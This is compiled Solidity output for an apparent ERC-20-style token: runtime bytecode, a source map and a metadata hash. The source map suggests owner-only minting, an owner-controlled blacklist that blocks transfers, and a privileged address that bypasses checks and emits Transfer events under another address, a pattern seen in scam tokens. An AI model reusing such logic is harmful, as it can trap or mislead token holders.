000000000000000000000000000000000000815260040161128d90611782565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561132b578082015181840152602081019050611310565b60008484015250505050565b6000601f19601f8301169050919050565b6000611353826112f1565b61135d81856112fc565b935061136d81856020860161130d565b61137681611337565b840191505092915050565b6000602082019050818103600083015261139b8184611348565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113d3826113a8565b9050919050565b6113e3816113c8565b81146113ee57600080fd5b50565b600081359050611400816113da565b92915050565b6000819050919050565b61141981611406565b811461142457600080fd5b50565b60008135905061143681611410565b92915050565b60008060408385031215611453576114526113a3565b5b6000611461858286016113f1565b925050602061147285828601611427565b9150509250929050565b60008115159050919050565b6114918161147c565b82525050565b60006020820190506114ac6000830184611488565b92915050565b6114bb81611406565b82525050565b60006020820190506114d660008301846114b2565b92915050565b6000806000606084860312156114f5576114f46113a3565b5b6000611503868287016113f1565b9350506020611514868287016113f1565b925050604061152586828701611427565b9150509250925092565b600060ff82169050919050565b6115458161152f565b82525050565b6000602082019050611560600083018461153c565b92915050565b60006020828403121561157c5761157b6113a3565b5b600061158a848285016113f1565b91505092915050565b600080604083850312156115aa576115a96113a3565b5b60006115b8858286016113f1565b92505060206115c9858286016113f1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061161a57607f821691505b60208210810361162d5761162c6115d3565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061166d82611406565b915061167883611406565b92508282039050818111156116905761168f611633565b5b92915050565b60006116a182611406565b91506116ac83611406565b92508282019050808211156116c4576116c3611633565b5b92915050565b7f416d6f756e7420457863656564732042616c616e636500000000000000000000600082015250565b60006117006016836112fc565b915061170b826116ca565b602082019050919050565b6000602082019050818103600083015261172f816116f3565b9050919050565b7f4e614e0000000000000000000000000000000000000000000000000000000000600082015250565b600061176c6003836112fc565b915061177782611736565b602082019050919050565b6000602082019050818103600083015261179b8161175f565b905091905056fea2646970667358221220a2b3ba8a01057288ffacf2ed64c0050793b275896a74129b5f4949c52b7ad81a64736f6c63430008110033

1147:3311:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1281:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3252:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1404:66;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3665:786;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1371:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1984:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1177:45;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3471:184;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1323:41;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2116:603;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2729:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3175:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2900:160;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1281:35;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3252:209::-;3317:12;3379:5;3346:9;:21;3356:10;3346:21;;;;;;;;;;;;;;;:30;3368:7;3346:30;;;;;;;;;;;;;;;:38;;;;3421:7;3400:36;;3409:10;3400:36;;;3430:5;3400:36;;;;;;:::i;:::-;;;;;;;;3454:4;3447:11;;3252:209;;;;:::o;1404:66::-;;;;:::o;3665:786::-;3744:12;3783:9;;;;;;;;;;;3775:17;;:4;:17;;;3772:270;;3823:9;:15;3833:4;3823:15;;;;;;;;;;;;;;;;3814:5;:24;;3806:33;;;;;;3867:9;:15;3877:4;3867:15;;;;;;;;;;;;;;;:27;3883:10;3867:27;;;;;;;;;;;;;;;;3858:5;:36;;3850:45;;;;;;3925:5;3906:9;:15;3916:4;3906:15;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;3960:5;3943:9;:13;3953:2;3943:13;;;;;;;;;;;;;;;;:22;;;;;;;:::i;:::-;;;;;;;;4007:2;3982:35;;3992:13;;;;;;;;;;;3982:35;;;4011:5;3982:35;;;;;;:::i;:::-;;;;;;;;4035:4;4028:11;;;;3772:270;4066:8;:14;4075:4;4066:14;;;;;;;;;;;;;;;;;;;;;;;;;4065:15;4057:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;4129:8;:12;4138:2;4129:12;;;;;;;;;;;;;;;;;;;;;;;;;4128:13;4120:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;4198:9;:15;4208:4;4198:15;;;;;;;;;;;;;;;;4189:5;:24;;4181:33;;;;;;4242:9;:15;4252:4;4242:15;;;;;;;;;;;;;;;:27;4258:10;4242:27;;;;;;;;;;;;;;;;4233:5;:36;;4225:45;;;;;;4300:5;4281:9;:15;4291:4;4281:15;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;4333:5;4316:9;:13;4326:2;4316:13;;;;;;;;;;;;;;;;:22;;;;;;;:::i;:::-;;;;;;;;4380:5;4349:9;:15;4359:4;4349:15;;;;;;;;;;;;;;;:27;4365:10;4349:27;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;4416:2;4401:25;;4410:4;4401:25;;;4420:5;4401:25;;;;;;:::i;:::-;;;;;;;;4444:4;4437:11;;3665:786;;;;;;:::o;1371:26::-;;;;;;;;;;;;;:::o;1984:118::-;1957:5;;;;;;;;;;;1943:19;;:10;:19;;;1935:28;;;;;;2083:7:::1;2062:37;;2079:1;2062:37;;;2092:6;2062:37;;;;;;:::i;:::-;;;;;;;;1984:118:::0;;:::o;1177:45::-;;;;;;;;;;;;;;;;;:::o;3471:184::-;3566:5;;;;;;;;;;;3552:19;;:10;:19;;;3544:28;;;;;;3609:6;3588:9;:17;3598:6;3588:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;3646:6;3631:11;;:21;;;;;;;:::i;:::-;;;;;;;;3471:184;;:::o;1323:41::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2116:603::-;2177:12;2221:9;;;;;;;;;;;2207:23;;:10;:23;;;2204:232;;2277:5;2252:9;:21;2262:10;2252:21;;;;;;;;;;;;;;;;:30;;2244:39;;;;;;2319:5;2294:9;:21;2304:10;2294:21;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;2354:5;2337:9;:13;2347:2;2337:13;;;;;;;;;;;;;;;;:22;;;;;;;:::i;:::-;;;;;;;;2401:2;2376:35;;2386:13;;;;;;;;;;;2376:35;;;2405:5;2376:35;;;;;;:::i;:::-;;;;;;;;2429:4;2422:11;;;;2204:232;2462:8;:20;2471:10;2462:20;;;;;;;;;;;;;;;;;;;;;;;;;2461:21;2453:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;2555:5;2530:9;:21;2540:10;2530:21;;;;;;;;;;;;;;;;:30;;2522:39;;;;;;2597:5;2572:9;:21;2582:10;2572:21;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;2632:5;2615:9;:13;2625:2;2615:13;;;;;;;;;;;;;;;;:22;;;;;;;:::i;:::-;;;;;;;;2684:2;2663:31;;2672:10;2663:31;;;2688:5;2663:31;;;;;;:::i;:::-;;;;;;;;2712:4;2705:11;;2116:603;;;;;:::o;2729:161::-;2804:5;;;;;;;;;;;2790:19;;:10;:19;;;2782:28;;;;;;2831:8;:15;2840:5;2831:15;;;;;;;;;;;;;;;;;;;;;;;;;2830:16;2822:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;2883:4;2865:8;:15;2874:5;2865:15;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;2729:161;:::o;3175:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2900:160::-;2974:5;;;;;;;;;;;2960:19;;:10;:19;;;2952:28;;;;;;2999:8;:15;3008:5;2999:15;;;;;;;;;;;;;;;;;;;;;;;;;2991:31;;;;;;;;;;;;:::i;:::-;;;;;;;;;3052:5;3034:8;:15;3043:5;3034:15;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;2900:160;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:474::-;5256:6;5264;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5566:2;5592:53;5637:7;5628:6;5617:9;5613:22;5592:53;:::i;:::-;5582:63;;5537:118;5188:474;;;;;:::o;5668:180::-;5716:77;5713:1;5706:88;5813:4;5810:1;5803:15;5837:4;5834:1;5827:15;5854:320;5898:6;5935:1;5929:4;5925:12;5915:22;;5982:1;5976:4;5972:12;6003:18;5993:81;;6059:4;6051:6;6047:17;6037:27;;5993:81;6121:2;6113:6;6110:14;6090:18;6087:38;6084:84;;6140:18;;:::i;:::-;6084:84;5905:269;5854:320;;;:::o;6180:180::-;6228:77;6225:1;6218:88;6325:4;6322:1;6315:15;6349:4;6346:1;6339:15;6366:194;6406:4;6426:20;6444:1;6426:20;:::i;:::-;6421:25;;6460:20;6478:1;6460:20;:::i;:::-;6455:25;;6504:1;6501;6497:9;6489:17;;6528:1;6522:4;6519:11;6516:37;;;6533:18;;:::i;:::-;6516:37;6366:194;;;;:::o;6566:191::-;6606:3;6625:20;6643:1;6625:20;:::i;:::-;6620:25;;6659:20;6677:1;6659:20;:::i;:::-;6654:25;;6702:1;6699;6695:9;6688:16;;6723:3;6720:1;6717:10;6714:36;;;6730:18;;:::i;:::-;6714:36;6566:191;;;;:::o;6763:172::-;6903:24;6899:1;6891:6;6887:14;6880:48;6763:172;:::o;6941:366::-;7083:3;7104:67;7168:2;7163:3;7104:67;:::i;:::-;7097:74;;7180:93;7269:3;7180:93;:::i;:::-;7298:2;7293:3;7289:12;7282:19;;6941:366;;;:::o;7313:419::-;7479:4;7517:2;7506:9;7502:18;7494:26;;7566:9;7560:4;7556:20;7552:1;7541:9;7537:17;7530:47;7594:131;7720:4;7594:131;:::i;:::-;7586:139;;7313:419;;;:::o;7738:153::-;7878:5;7874:1;7866:6;7862:14;7855:29;7738:153;:::o;7897:365::-;8039:3;8060:66;8124:1;8119:3;8060:66;:::i;:::-;8053:73;;8135:93;8224:3;8135:93;:::i;:::-;8253:2;8248:3;8244:12;8237:19;;7897:365;;;:::o;8268:419::-;8434:4;8472:2;8461:9;8457:18;8449:26;;8521:9;8515:4;8511:20;8507:1;8496:9;8492:17;8485:47;8549:131;8675:4;8549:131;:::i;:::-;8541:139;;8268:419;;;:::o

ipfs://a2b3ba8a01057288ffacf2ed64c0050793b275896a74129b5f4949c52b7ad81a